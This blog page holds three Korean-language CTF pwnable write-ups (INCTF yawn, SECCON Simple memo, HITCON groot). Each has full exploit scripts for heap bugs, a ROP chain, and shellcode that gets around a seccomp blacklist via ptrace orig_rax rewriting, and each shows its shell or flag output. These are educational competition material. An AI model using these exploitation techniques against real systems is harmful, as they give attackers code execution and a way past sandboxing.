INCTF 2018 - yawn

CTF 2018.11.03 21:05

Category : pwnable



Summary : heap



Exploit


#!/usr/bin/python

from pwn import *

def cmd_add(name, desc):
ru('>> ')
sl('1')
ru('Enter name: ')
sl(name)
ru('Enter desc: ')
if desc:
sl(desc)

def cmd_edit(idx, name, size, desc):
ru('>> ')
sl('2')
ru('Enter index: ')
sl(str(idx))
ru('Enter name: ')
ss(name)
ru('Enter size: ')
sl(str(size))
ru('Enter desc: ')
ss(desc)

def cmd_remove(idx):
ru('>> ')
sl('3')
ru('Enter idx: ')
sl(str(idx))

def cmd_view(idx):
ru('>> ')
sl('4')
ru('Enter idx: ')
sl(str(idx))

note = {}
ru('Note ID : ')
note['idx'] = int(rl(False))
ru('Name : ')
note['name'] = rl(False)
ru('Size : ')
note['size'] = int(rl(False))
ru('Description : ')
note['desc'] = rl(False)
return note

s = process('./yawn')
ru = s.recvuntil
rl = s.recvline
rr = s.recv
sl = s.sendline
ss = s.send

free_got = 0x601F68
note_table = 0x602040


# for libc leak
cmd_add('a' * 0x50+p64(0xffffffffffffffff)+p64(free_got), '')
libc_base = u64(cmd_view(0)['desc'].ljust(8, '\x00')) - 0x844f0
print hex(libc_base)
libc_malloc_hook = libc_base + 0x3c4b10
libc_one_gadget = libc_base + 0xf1147
'''
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''

# for heap leak
cmd_add('b' * 0x50+p64(0xffffffffffffffff)+p64(note_table), '')
heap_base = u64(cmd_view(1)['desc'].ljust(8, '\x00')) - 0x1040
print hex(heap_base)

cmd_add('c' * 0x30, 'C' * 0x59) # 2 : 0x70 0x70
cmd_add('d' * 0x50 + p64(0xffffffffffffffff)+p64(heap_base + 0x1010+ (0x20+0x70)*2+0x10), '') # 3 : 0x20 0x70
# pointing note2 -> description

cmd_remove(2)
cmd_remove(3)

cmd_add('NO', '_' * 9)

cmd_add(p64(libc_malloc_hook - 0x23), '_' * 9)
cmd_add('NO', '_' * 9)
cmd_add('NO', '_' * 9)
# reallocate libc_malloc_hook
cmd_add('e' * (0x23-0x10) + p64(libc_one_gadget), '_' * 9)

# trigger
cmd_add('give me the shell', 'paul')

s.interactive()
s.close()


$ python ex.py
[+] Starting local process './yawn': pid 2050
0x7fb84bb3e000
0x178a000
[*] Switching to interactive mode
$ id
uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)



'CTF' 카테고리의 다른 글

SECCON CTF 2018 QUAL - secret_message (one shot exploit)  (0) 2018.11.25
INCTF 2018 - lost  (0) 2018.11.04
INCTF 2018 - yawn  (0) 2018.11.03
SECCON 2018 QUAL - Simple memo  (0) 2018.11.02
HITCON CTF 2018 - groot  (0) 2018.10.30
XCTF FINAL 2017 - xmail  (0) 2018.10.06

WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret

Category : pwnable


SimpleMemo


494

2 Solves


Host: smemo.pwn.seccon.jp

Port: 36384


Summary : seccomp bypass, orig_rax



간만에 first blood 획득한 문제. 쓸데없는 삽질로 시간을 2배는 소요했다. google ctf 갔던 팀들이 나왔으면 못 땄을듯. 삽질 시간을 더 줄여야한다. 



Concept


memo를 add/show/delete 하는 기능을 가진 바이너리. 바이너리 구조는 굉장히 간단하다.


 



size 0x28의 heap chunk를 선언하여 사용자의 입력을 받고 해당 chunk의 주소를 memo_table에 저장한다.




Out of boundary - Arbitrary print, free


작성한 memo를 show하는 기능과 delete하는 기능에서 memo index의 boundary check를 하지 않아 memory에 존재하는 임의의 주소를 print하거나 free할 수 있다.  


 



원하는 주소 값을 stack에 쓸 수 있어야하는데, 마침 getint 함수에서 stack에 0x80만큼의 data를 입력받는다. 이 때 stack에 남는 찌꺼기를 oob print, free에 활용할 수 있다.



아래와 같이 index를 입력받을 때 puts_got 같은 주소를 함께 포함시키는 식으로 활용 가능

pie_base = u64(cmd_show('-2').ljust(8, '\x00')) - 0x1020
stack = u64(cmd_show('-4').ljust(8, '\x00')) - 0x90

print hex(pie_base)
print hex(stack)

puts_got = pie_base + 0x201668
libc_base = u64(cmd_show('-24'.ljust(0x10, '\x00') + p64(puts_got).ljust(0x6e, '\x00')).ljust(8, '\x00')) - 0x6f690


RIP Control 


fastbin dup into stack으로 stack에 memo를 할당시켜서 getnline 내부함수의 return address를 덮어썼다.

(이거 생각보다 위치잡는거 까다로워서 오래걸렸다.)

rip 를 system("sh")와 one gadget 으로 덮어씌워 /bin/sh를 실행했지만 이상하게 쉘이 뜨지 않았다. 

cmd_add('pwn3r_1')  # 0
cmd_add('pwn3r_2') # 1

chunk0 = u64(cmd_show('-24'.ljust(0x10, '\x00') + p64(stack).ljust(0x6e, '\x00')).ljust(8, '\x00'))

cmd_delete('0') # 0
cmd_delete('1') # 1

cmd_delete('-24'.ljust(0x10, '\x00') + p64(chunk0).ljust(0x6e, '\x00')) # 0

cmd_add(p64(stack - 0xb8)) # 0
cmd_add('nothing') # 1
cmd_add('nothing') # 0

cmd_show('-2'.ljust(0x7e, 'B'))

ru('> ')

sl('1'.ljust(8, '\x00'))
ru('Input memo >')
stage2_base = stack - 0xb8 + 0x10 + 0x28
freespace = stage2_base + 0x200
ss('A' * 0x10 + p64(libc_pop_rdi) + p64(stage2_base - 1) + p64(libc_gets))



Seccomp blacklist 


쉬운 문제들이 열리고 있던 시기라 이 문제 역시 간단한 문제인줄 알고 자세히 안봤었는데, init 함수를 보니 아래와 같이 seccomp를 설정하는 함수가 존재했다.



seccomp tools로 어떤 제약이 걸렸는지 확인한다.

$ seccomp-tools dump ./memo
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0006
0005: 0x06 0x00 0x00 0x00000000 return KILL
0006: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0008
0007: 0x15 0x00 0x01 0x00000101 if (A != openat) goto 0009
0008: 0x06 0x00 0x00 0x00000000 return KILL
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW

architecture == x86_64 && syscall number < 0x4000000 && syscall number not in [sys_open, sys_openat] 대략 이런 조건이다. open/openat이 막혀있어서 flag를 읽을 수도 없고 execve를 불러도 결국 필파일 읽어올때 open을 불러야하므로 암것도 못한다.


원래는 실행 중 32bit mode로 변경하여 x86과 x86_64 system call number 차이를 이용하려 했지만 막혀있다. (이것도 자세히 안보고 payload 짰다가 시간날림.)


아이디어를 떠올리던 중 ptrace 를 이용해 우회할 방법이 있을지 검색했다.



Bypass seccomp blacklist 


검색 결과 아래 gist에 있는 코드를 발견하게 되었고 ptrace 를 이용하면 우회가 가능하다는 것을 확인했다.


https://gist.github.com/thejh/8346f47e359adecd1d53


코드를 요약하면 아래와 같다. 


clone (parent, child)

parent : waitpid(childpid, NULL, 0)


child  : ptrace(PTRACE_TRACEME, 0, NULL, NULL)

child  : syscall(SYS_tkill, syscall(SYS_gettid), SIGSTOP)


parent : ptrace(PTRACE_SYSCALL, childpid, NULL, NULL)

parent : waitpid(childpid, NULL, 0)


child  : syscall(SYS_getpid, (unsigned long)"/etc/passwd", O_RDONLY);


parent : ptrace(PTRACE_GETREGS, childpid, NULL, &regs)

parent : regs.orig_rax = SYS_open;

parent : ptrace(PTRACE_SETREGS, childpid, NULL, &regs)

parent : ptrace(PTRACE_DETACH, childpid, NULL, NULL)


child  : ssize_t n = read(r, buf, sizeof(buf));

child  : write(1, buf, n);


핵심은 debuggee(child)가 system call을 부를 때 parent가 후킹하여 orig_rax를 변경하면, orig_rax를 기준으로 system call을 호출하는 것이다. 위 과정을 전부 ROP payload로 작성하는 것은 너무 힘든 것 같아 mmap으로 rwx memory를 할당하고, seccomp blacklist를 우회하는 shellcode를 작성했다.



Exploit


#!/usr/bin/python

from pwn import *

def cmd_add(memo):
ru('> ')
sl('1')
ru('Input memo > ')
sl(memo)
rl()
def cmd_show(idx):
ru('> ')
sl('2')
ru('Input id > ')
sl(str(idx))
rl()
data = rl(False)
return data

def cmd_delete(idx):
ru('> ')
sl('3')
ru('Input id > ')
sl(str(idx))
rl()

#s = process('./memo')
s = remote('smemo.pwn.seccon.jp', 36384)
ru = s.recvuntil
rl = s.recvline
rr = s.recv
sl = s.sendline
ss = s.send

raw_input('>')
pie_base = u64(cmd_show('-2').ljust(8, '\x00')) - 0x1020
stack = u64(cmd_show('-4').ljust(8, '\x00')) - 0x90

print hex(pie_base)
print hex(stack)

puts_got = pie_base + 0x201668
libc_base = u64(cmd_show('-24'.ljust(0x10, '\x00') + p64(puts_got).ljust(0x6e, '\x00')).ljust(8, '\x00'

libc_gets = libc_base + 0x6ed80
libc_pop_rdi = libc_base + 0x0021102
libc_pop_rsi = libc_base + 0x000202e8
libc_pop_rdx = libc_base + 0x001150a6
libc_pop_rcx = libc_base + 0x000ea69a
# > 0x000ea69a : pop rcx; pop rbx; ret
libc_pop_r8 = libc_base + 0x00135136
libc_mov_r9 = libc_base + 0x0002185a
#> 0x0002185a : mov r9, r14; call rbx
libc_pop_r14 = libc_base + 0x000202e7
libc_pop_rsp = libc_base + 0x0001fb13

libc_pr = libc_base + 0x206c4
# > 0x000206c4 : pop r13; ret
libc_mmap = libc_base + 0x101680
print hex(libc_base)

cmd_add('pwn3r_1') # 0
cmd_add('pwn3r_2') # 1

chunk0 = u64(cmd_show('-24'.ljust(0x10, '\x00') + p64(stack).ljust(0x6e, '\x00')).ljust(8, '\x00'))

cmd_delete('0') # 0
cmd_delete('1') # 1

cmd_delete('-24'.ljust(0x10, '\x00') + p64(chunk0).ljust(0x6e, '\x00')) # 0

cmd_add(p64(stack - 0xb8)) # 0
cmd_add('nothing') # 1
cmd_add('nothing') # 0

cmd_show('-2'.ljust(0x7e, 'B'))

ru('> ')

sl('1'.ljust(8, '\x00'))
ru('Input memo >')
stage2_base = stack - 0xb8 + 0x10 + 0x28
freespace = stage2_base + 0x200
ss('A' * 0x10 + p64(libc_pop_rdi) + p64(stage2_base - 1) + p64(libc_gets))

new_mem = 0xdeadb000

stage2 = ''
stage2 += p64(libc_pop_rdi)
stage2 += p64(new_mem)
stage2 += p64(libc_pop_rsi)
stage2 += p64(0x1000)
stage2 += p64(libc_pop_rdx)
stage2 += p64(7)
stage2 += p64(libc_pop_rcx)
stage2 += p64(0x22)
stage2 += p64(libc_pr) # rbx
stage2 += p64(libc_pop_r8)
stage2 += p64(0xffffffffffffffff)
stage2 += p64(libc_pop_r14)
stage2 += p64(0)
stage2 += p64(libc_mov_r9)
stage2 += p64(libc_mmap)
stage2 += p64(libc_pop_rdi)
stage2 += p64(new_mem + 0x200)
stage2 += p64(libc_gets)
stage2 += p64(libc_pr+2)
stage2 += p64(new_mem + 0x200)
sl(stage2)

stage3 = ''
context.arch = 'amd64'

PTRACE_TRACEME = 0
PTRACE_PEEKTEXT = 1
PTRACE_PEEKDATA = 2
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_SYSCALL = 24
PTRACE_GETREGS = 12
PTRACE_DETACH = 17

clone = asm('''
/* clone and branch */
mov rdi, 0x1200011
mov rsi, 0
mov rdx, 0
mov r10, rsp
add r10, 0x500
mov qword ptr [r10], 0
mov rax, 56

syscall
test rax, rax
''')

debugger = asm('''
/* time delay */
mov rdx, 0x30000000
dec rdx
test rdx, rdx
jnz $ - 6
push rax

/* waitpid(childpid, NULL, 0) */
mov rdi, rax
mov rsi, 0
mov rdx, 0
mov r10, 0
mov rax, 0x3d
syscall

/* ptrace(PTRACE_SYSCALL, childpid, NULL, NULL) */
mov rdi, 0x18
mov rsi, [rsp]
mov rdx, 0
mov r10, 0
mov rax, 0x65
syscall

/* waitpid(childpid, NULL, 0) */
mov rdi, [rsp]
mov rsi, 0
mov rdx, 0
mov r10, 0
mov rax, 0x3d
syscall

/* ptrace(PTRACE_GETREGS, childpid, NULL, &regs */
mov rdi, 0xc
mov rsi, [rsp]
mov rdx, 0x0
mov r10, rsp
add r10, 0x400
mov rcx, r10
mov rax, 0x65
syscall

/* ptrace(PTRACE_SETREGS, childpid, NULL, &regs) */
mov rdi, 0xd
mov rsi, [rsp]
mov rdx, 0
mov r10, rsp
add r10, 0x400
mov r9, r10
add r9, 0x78
mov qword ptr [r9], 0x0000000000000002
mov rax, 0x65
syscall

/* ptrace(PTRACE_DETACH, childpid, NULL, NULL) */
mov rdi, 0x11
mov rsi, [rsp]
mov rdx, 0
mov r10, 0
mov rax, 101
syscall

mov rax, 0x3c
syscall
''')

debuggee = asm('''
/* ptrace(PTRACE_TRACEME, 0, NULL, NULL) */
mov rdi, 0
mov rsi, 0
mov rdx, 0
mov r10, 0
mov rax, 101
syscall

/* syscall(SYS_gettid) */
mov rax, 0x27/*0xba*/
syscall

/* syscall(SYS_tkill, pid, SIGSTOP) */
mov rdi, rax
mov rsi, 0x13
mov rax, 0x3e/*0xc8*/
syscall
''' + shellcraft.pushstr('flag.txt') + '''
/* open(file='rsp', oflag=0, mode=0) */
mov rdi, rsp
xor edx, edx /* 0 */
xor esi, esi /* 0 */
/* call open() */
xor rax, rax
mov rax, 39/*getpid*/
syscall
''' +
shellcraft.read('rax', 'rsp', 100) + shellcraft.write(1, 'rsp', 100))


stage3 += clone
stage3 += asm('jz $+{}'.format(len(debugger)+6))
stage3 += debugger
stage3 += debuggee

sl(stage3)

'''
'''

s.interactive()
s.close()


$ python ex.py
[+] Opening connection to smemo.pwn.seccon.jp on port 36384: Done
>
0x55f8f149b000
0x7ffe0e221840
0x7fbb0cacb000
[*] Switching to interactive mode
SECCON{bl4ck_l157_SECCOMP_h45_l075_0f_l00ph0l35}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
$


'CTF' 카테고리의 다른 글

INCTF 2018 - lost  (0) 2018.11.04
INCTF 2018 - yawn  (0) 2018.11.03
SECCON 2018 QUAL - Simple memo  (0) 2018.11.02
HITCON CTF 2018 - groot  (0) 2018.10.30
XCTF FINAL 2017 - xmail  (0) 2018.10.06
XCTF FINAL 2017 - network  (0) 2018.10.06

WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret

HITCON CTF 2018 - groot

CTF 2018.10.30 19:54

Category : pwnable



Groot

I am Groot.

nc 54.238.202.201 31733

groot-61a41f97c60a1636a2ff4ca800ecdde3.tar.gz


Author: david942j

15 Teams solved.


Summary : uninitialized variable, use after free, tcache



호기심에 못이겨 출제자(david942j)의 exploit 참고하여 풀어본 문제.

// https://github.com/david942j/ctf-writeups/blob/master/hitcon-2018/groot/sol/groot.rb


tcache 소스를 많이 읽어봐서 exploit이 좀 수월할줄 잘았는데 생각보다 좀 까다롭다. 

좀 더 다양한 사고를 해야할 듯.



Concept


$ ./groot
$ ls
. .. flag .bashrc

$ cat flag
No flag here, what are you expecting?
$ cd ..
$ rm groot
$ id
uid=1000(groot) gid=1000(groot) groups=1000(groot)


shell 컨셉의 문제. 구조체를 이용해 가상의 file system 구성했으며 ls / cat / cd / rm / mv / mkdir / mkfile / touch / pwd / ln 등 file system 을 control 할 수 있는 명령만 구현되어있다.


File system



file system은 대략 위와 같이 구성되어있다. directory상에서 병렬관계는 next 멤버변수로 연결했고, 상하관계는 parent와 child로 연결했다. filename이나 filedata 같은 문자열은 모두 strdup 함수를 호출하여 heap에 복사한다.



Vulnerability


Part (1)

rm 명령으로 삭제하는 대상이 directory인 경우, directory 하위에 있는 file들을 모두 삭제해야 한다. 따라서 삭제 대상(rm_target)이 directory인지 비교하기 위해 rm_target->type == DIR 체크가 필요 routine이 필요하지만, rm 명령은 rm_target->child != 0 만 만족하면 rm_target->child 부터 next를 순회하며 모두 free 시킨다.



Part (2)


마침 file 생성함수에서 file의 child를 초기화해주지 않는다. (uninitialized variable)


즉, asdf라는 directory를 free 시킨 직후, file을 생성해도 file->child는 asdf directory 하위에 있던 file을 가리키고 있는 것이다. 취약점을 trigger하는 방법을 간략하게 그림으로 표현해봤다.


 


groot 실행 직후, 위와 같이 file system이 구성되어있다. (파일 더 많지만 그림에선 생략)



rm /home/groot 하면 /home/groot chunk와 하위에 있던 chunk들이 모두 free 된다.



이 때 file aaaa를 생성하면 /home/groot가 위치했던 0xba00을 tcache_entry[2]에서 가져와 /home/aaaa를 위치시킨다.

file 생성시, child를 초기화하지 않으므로 aaaa->child는 free된 /home/groot/flag (0xbb20)을 가리키고 있다. (dangling pointer)


다시 한 번 /home/aaaa를 삭제하면 free되었던 0xbad0, 0xbaf0, 0xbb20, 0xba40, 0xba60, 0xba90이 한 번 더 free된다.




double free가 발생되어 tcache_entry의 link가 깨지고 duplicate가 발생했다. 이제 이를 이용하여 exploit을 작성한다.



Exploit


사실 duplicate가 발생했고 tcache는 할당시점에 size 검사를 하지도 않으니, exploit이 간단할 것 같지만 libc leak 때문에 상당히 고민했다. unsorted bin으로 보내야 main_arena 주소를 알 수 있지만, (1) 사용자가 size 0x80이 넘는 chunk를 할당할 수도 없고, (2) 0x420 미만의 chunk는 tcache에 들어가기 때문에 0x420 미만의 chunk를 free할거면 같은 size로 8번 이상 free시켜야 unsorted bin에 보낼 수 있다. 


결국 기존에 할당된 chunk 중 가장 큰 /proc/self/mappings의 filedata chunk header를 0x441로 덮어버리고 이를 free시키기로 했다. (출제자 exploit을 참고했음.)



##### overwrite /proc/self/maps chunk_header #####
cmd('rm {}'.format(list_dir[2]))
cmd_mkfile(p64(maps_chunk), 'NOTHING')
cmd('cd NOTHING') # strdup("NOTHING")
cmd('cd {}'.format('A'*8 + p64(0x441))) # strdup. allocated on maps_chunk_header

'''
gdb-peda$ x/40a 0x0000555999ea6000 + 0x126d0
0x555999eb86d0: 0x4141414141414141 0x441
0x555999eb86e0: 0x3036366638373535 0x3735352d30303064
0x555999eb86f0: 0x3030353136366638 0x302070782d722030
0x555999eb8700: 0x2030303030303030 0x30392030303a6466
0x555999eb8710: 0x2020203533303434 0x2020202020202020
0x555999eb8720: 0x2020202020202020 0x61632f6e69622f20
0x555999eb8730: 0x3666383735350a74 0x352d303030343138
0x555999eb8740: 0x3531383666383735 0x702d2d7220303030
0x555999eb8750: 0x3030373030303020 0x2030303a64662030
0x555999eb8760: 0x2035333034343039 0x2020202020202020
0x555999eb8770: 0x2020202020202020 0x2f6e69622f202020
0x555999eb8780: 0x383735350a746163 0x3030303531383666
0x555999eb8790: 0x383666383735352d 0x7772203030303631
0x555999eb87a0: 0x383030303020702d 0x303a646620303030
0x555999eb87b0: 0x3330343430392030 0x2020202020202035
0x555999eb87c0: 0x2020202020202020 0x69622f2020202020
0x555999eb87d0: 0x66370a7461632f6e 0x3061636636666666
0x555999eb87e0: 0x66666666372d3030 0x2030303062656636
0x555999eb87f0: 0x30303020702d7772 0x3030203030303030
0x555999eb8800: 0x202020302030303a 0x2020202020202020
gdb-peda$ x/40a
0x555999eb8810: 0x2020202020202020 0x5b20202020202020
0x555999eb8820: 0x370a5d6b63617473 0x3166663666666666
0x555999eb8830: 0x666666372d303030 0x3030303366663666
0x555999eb8840: 0x30302070782d7220 0x3020303030303030
0x555999eb8850: 0x2020302030303a30 0x2020202020202020
0x555999eb8860: 0x2020202020202020 0x2020202020202020
0x555999eb8870: 0x660a5d6f7364765b 0x6666666666666666
0x555999eb8880: 0x2d30303030303666 0x6666666666666666
0x555999eb8890: 0x3030303130366666 0x30302070782d7220
0x555999eb88a0: 0x3020303030303030 0x2020302030303a30
0x555999eb88b0: 0x2020202020202020 0x2020202020202020
0x555999eb88c0: 0x6c6163737973765b 0xa5d6c
0x555999eb88d0: 0x0 0x41
0x555999eb88e0: 0x1 0x555999eb8680
0x555999eb88f0: 0x0 0x0
0x555999eb8900: 0x555999eb86c0 0x555999eb86e0
0x555999eb8910: 0x0 0x21
0x555999eb8920: 0x706d74 0x0
0x555999eb8930: 0x0 0x41
0x555999eb8940: 0x2 0x555998e51040
gdb-peda$
0x555999eb8950: 0x555999eb8d40 0x555999eb8620
0x555999eb8960: 0x555999eb8920 0x0
0x555999eb8970: 0x0 0x21
0x555999eb8980: 0x656d6f68 0x0
0x555999eb8990: 0x0 0x41
0x555999eb89a0: 0x2 0x555998e51040
0x555999eb89b0: 0x555999eb8a00 0x555999eb8940
0x555999eb89c0: 0x555999eb8980 0x0
0x555999eb89d0: 0x0 0x21
0x555999eb89e0: 0x746f6f7267 0x0
0x555999eb89f0: 0x0 0x41
0x555999eb8a00: 0x2 0x555999eb89a0
0x555999eb8a10: 0x555999eb8b20 0x0
0x555999eb8a20: 0x555999eb89e0 0x0
0x555999eb8a30: 0x0 0x21
0x555999eb8a40: 0x6372687361622e 0x0
0x555999eb8a50: 0x0 0x31
0x555999eb8a60: 0x736c207361696c61 0x20612d20736c273d
0x555999eb8a70: 0x3d726f6c6f632d2d 0xa27797474
0x555999eb8a80: 0x0 0x41
gdb-peda$
0x555999eb8a90: 0x1 0x555999eb8a00
0x555999eb8aa0: 0x0 0x0
0x555999eb8ab0: 0x555999eb8a40 0x555999eb8a60
0x555999eb8ac0: 0x0 0x21
0x555999eb8ad0: 0x67616c66 0x0
0x555999eb8ae0: 0x0 0x31
0x555999eb8af0: 0x2067616c66206f4e 0x6877202c65726568
0x555999eb8b00: 0x7920657261207461 0x636570786520756f
0x555999eb8b10: 0xa3f676e6974 0x41
'''
cmd('cd ..')
cmd('rm /proc/self/maps') # into unsorted bin
########################################

위와 같이 /proc/self/maps의 filedata chunk size를 강제로 확장시키고, rm /proc/self/maps 했더니 원하는대로 main_arena 주소가 chunk에 들어갔다. 이제 이것저것 하다보면 쉘을 획득 할 수 있다.



Exploit


#!/usr/bin/python

from pwn import *

s = process('./groot')
ru = s.recvuntil
rl = s.recvline
rr = s.recv
sl = s.sendline
ss = s.send

def cmd(*argv):
ru('$ ')
sl(' '.join(argv))


def cmd_ls(path=None):
ru('$ ')
if path:
sl('ls {}'.format(path))
else:
sl('ls')
files = rl(False).rstrip().split('\t')
files = files[2:] # ignore . / ..
files = map(lambda x : x.replace('\x1B[38;5;153m', '').replace('\x1B[0m', ''), files)
return files


def cmd_mkfile(filename, data):
ru('$ ')
sl('mkfile {}'.format(filename))
ru('Content? ')
ss(data)


############# stage2 prepare ##########
cmd('cd /root')
cmd('mkdir pwn3r')
cmd('mkdir poison1')
cmd_mkfile('poison2', '0')
cmd('cd pwn3r')
cmd_mkfile('file', '1')
#######################################

############## stage1 start ###########
cmd('cd /tmp')
cmd('mkdir pwn3r')

cmd('mkdir forleak1')
cmd_mkfile('forleak2', '0')
cmd('cd pwn3r')

cmd_mkfile('file', '1')
cmd('cd ..')
cmd('rm pwn3r')
cmd_mkfile('pwn3r', '1')
cmd_mkfile('file', '2')
cmd('rm pwn3r')
list_dir = cmd_ls()
print list_dir
heap_base = u64(list_dir[1].ljust(8, '\x00')) - 0x12fc0
maps_chunk = heap_base + 0x126d0
print hex(heap_base)
print hex(maps_chunk)
########################################

##### overwrite /proc/self/maps chunk_header #####
cmd('rm {}'.format(list_dir[2]))
cmd_mkfile(p64(maps_chunk), 'NOTHING')
cmd('cd NOTHING') # strdup("NOTHING")
cmd('cd {}'.format('A'*8 + p64(0x441))) # strdup. allocated on maps_chunk_header

'''
gdb-peda$ x/40a 0x0000555999ea6000 + 0x126d0
0x555999eb86d0: 0x4141414141414141 0x441
0x555999eb86e0: 0x3036366638373535 0x3735352d30303064
0x555999eb86f0: 0x3030353136366638 0x302070782d722030
0x555999eb8700: 0x2030303030303030 0x30392030303a6466
0x555999eb8710: 0x2020203533303434 0x2020202020202020
0x555999eb8720: 0x2020202020202020 0x61632f6e69622f20
0x555999eb8730: 0x3666383735350a74 0x352d303030343138
0x555999eb8740: 0x3531383666383735 0x702d2d7220303030
0x555999eb8750: 0x3030373030303020 0x2030303a64662030
0x555999eb8760: 0x2035333034343039 0x2020202020202020
0x555999eb8770: 0x2020202020202020 0x2f6e69622f202020
0x555999eb8780: 0x383735350a746163 0x3030303531383666
0x555999eb8790: 0x383666383735352d 0x7772203030303631
0x555999eb87a0: 0x383030303020702d 0x303a646620303030
0x555999eb87b0: 0x3330343430392030 0x2020202020202035
0x555999eb87c0: 0x2020202020202020 0x69622f2020202020
0x555999eb87d0: 0x66370a7461632f6e 0x3061636636666666
0x555999eb87e0: 0x66666666372d3030 0x2030303062656636
0x555999eb87f0: 0x30303020702d7772 0x3030203030303030
0x555999eb8800: 0x202020302030303a 0x2020202020202020
gdb-peda$ x/40a
0x555999eb8810: 0x2020202020202020 0x5b20202020202020
0x555999eb8820: 0x370a5d6b63617473 0x3166663666666666
0x555999eb8830: 0x666666372d303030 0x3030303366663666
0x555999eb8840: 0x30302070782d7220 0x3020303030303030
0x555999eb8850: 0x2020302030303a30 0x2020202020202020
0x555999eb8860: 0x2020202020202020 0x2020202020202020
0x555999eb8870: 0x660a5d6f7364765b 0x6666666666666666
0x555999eb8880: 0x2d30303030303666 0x6666666666666666
0x555999eb8890: 0x3030303130366666 0x30302070782d7220
0x555999eb88a0: 0x3020303030303030 0x2020302030303a30
0x555999eb88b0: 0x2020202020202020 0x2020202020202020
0x555999eb88c0: 0x6c6163737973765b 0xa5d6c
0x555999eb88d0: 0x0 0x41
0x555999eb88e0: 0x1 0x555999eb8680
0x555999eb88f0: 0x0 0x0
0x555999eb8900: 0x555999eb86c0 0x555999eb86e0
0x555999eb8910: 0x0 0x21
0x555999eb8920: 0x706d74 0x0
0x555999eb8930: 0x0 0x41
0x555999eb8940: 0x2 0x555998e51040
gdb-peda$
0x555999eb8950: 0x555999eb8d40 0x555999eb8620
0x555999eb8960: 0x555999eb8920 0x0
0x555999eb8970: 0x0 0x21
0x555999eb8980: 0x656d6f68 0x0
0x555999eb8990: 0x0 0x41
0x555999eb89a0: 0x2 0x555998e51040
0x555999eb89b0: 0x555999eb8a00 0x555999eb8940
0x555999eb89c0: 0x555999eb8980 0x0
0x555999eb89d0: 0x0 0x21
0x555999eb89e0: 0x746f6f7267 0x0
0x555999eb89f0: 0x0 0x41
0x555999eb8a00: 0x2 0x555999eb89a0
0x555999eb8a10: 0x555999eb8b20 0x0
0x555999eb8a20: 0x555999eb89e0 0x0
0x555999eb8a30: 0x0 0x21
0x555999eb8a40: 0x6372687361622e 0x0
0x555999eb8a50: 0x0 0x31
0x555999eb8a60: 0x736c207361696c61 0x20612d20736c273d
0x555999eb8a70: 0x3d726f6c6f632d2d 0xa27797474
0x555999eb8a80: 0x0 0x41
gdb-peda$
0x555999eb8a90: 0x1 0x555999eb8a00
0x555999eb8aa0: 0x0 0x0
0x555999eb8ab0: 0x555999eb8a40 0x555999eb8a60
0x555999eb8ac0: 0x0 0x21
0x555999eb8ad0: 0x67616c66 0x0
0x555999eb8ae0: 0x0 0x31
0x555999eb8af0: 0x2067616c66206f4e 0x6877202c65726568
0x555999eb8b00: 0x7920657261207461 0x636570786520756f
0x555999eb8b10: 0xa3f676e6974 0x41
'''
cmd('cd ..')
cmd('rm /proc/self/maps') # into unsorted bin
########################################


##### fill /proc/self/maps(freed) chunk #######
for i in range(0, ((0x200 + 0x20 * 3) / 0x20)):
cmd('cd NOTHING') # strdup("NOTHING")
###############################################



######## leak libc address #############
libc_base = u64(cmd_ls()[1].ljust(8, '\x00')) - 0x3ebca0
libc_system = libc_base + 0x4f440
libc_free_hook = libc_base + 0x3ed8e8
print hex(libc_base)
#['home', '\xa0<\x01\xf9\xb6\x7f', 'proc', 'root', 'lib', 'boot', 'dev', 'bin', 'etc']
########################################


############ stage2 start ##############
cmd('cd /root')
cmd('rm pwn3r')
cmd_mkfile('pwn3r', '0')
cmd_mkfile('file', '1')
cmd('rm pwn3r')
cmd('rm {}'.format(cmd_ls()[1]))

'''
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x55c4e504cc70 --> 0x55c4e504cd10 --> 0x55c4e504cb90 --> 0x55c4e504cbf0 --> 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x55c4e504cc90 --> 0x55c4e504cbb0 --> 0x55c4e504cc10 --> 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x55c4e504d030 (size : 0xdfd0)
last_remainder: 0x55c4e504c990 (size : 0x180)
unsortbin: 0x55c4e504c990 (size : 0x180)
(0x20) tcache_entry[0]: 0x55c4e504cc60 --> 0x55c4e504cc60 (overlap chunk with 0x55c4e504cc50(freed) )
(0x40) tcache_entry[2]: 0x55c4e504cca0 (overlap chunk with 0x55c4e504cc90(freed) )
'''

cmd('cd {}'.format(p64(libc_free_hook)))
cmd('cd NOTHING')
cmd('cd {}'.format(p64(libc_system)))

# now __free_hook = libc_system
# trigger free
cmd('touch sh')
cmd('rm sh') # free("sh") = system("sh")

s.interactive()
s.close()


$ python ex.py
[+] Starting local process './groot': pid 19205
['', '\xc0o\x13%\xb4U', '\x80n\x13%\xb4U']
0x55b425124000
0x55b4251366d0
0x7f4c58f42000
[*] Switching to interactive mode
$ id
uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)

'CTF' 카테고리의 다른 글

INCTF 2018 - yawn  (0) 2018.11.03
SECCON 2018 QUAL - Simple memo  (0) 2018.11.02
HITCON CTF 2018 - groot  (0) 2018.10.30
XCTF FINAL 2017 - xmail  (0) 2018.10.06
XCTF FINAL 2017 - network  (0) 2018.10.06
CODEGATE 2017 QUAL - js_world  (0) 2018.09.26

WRITTEN BY
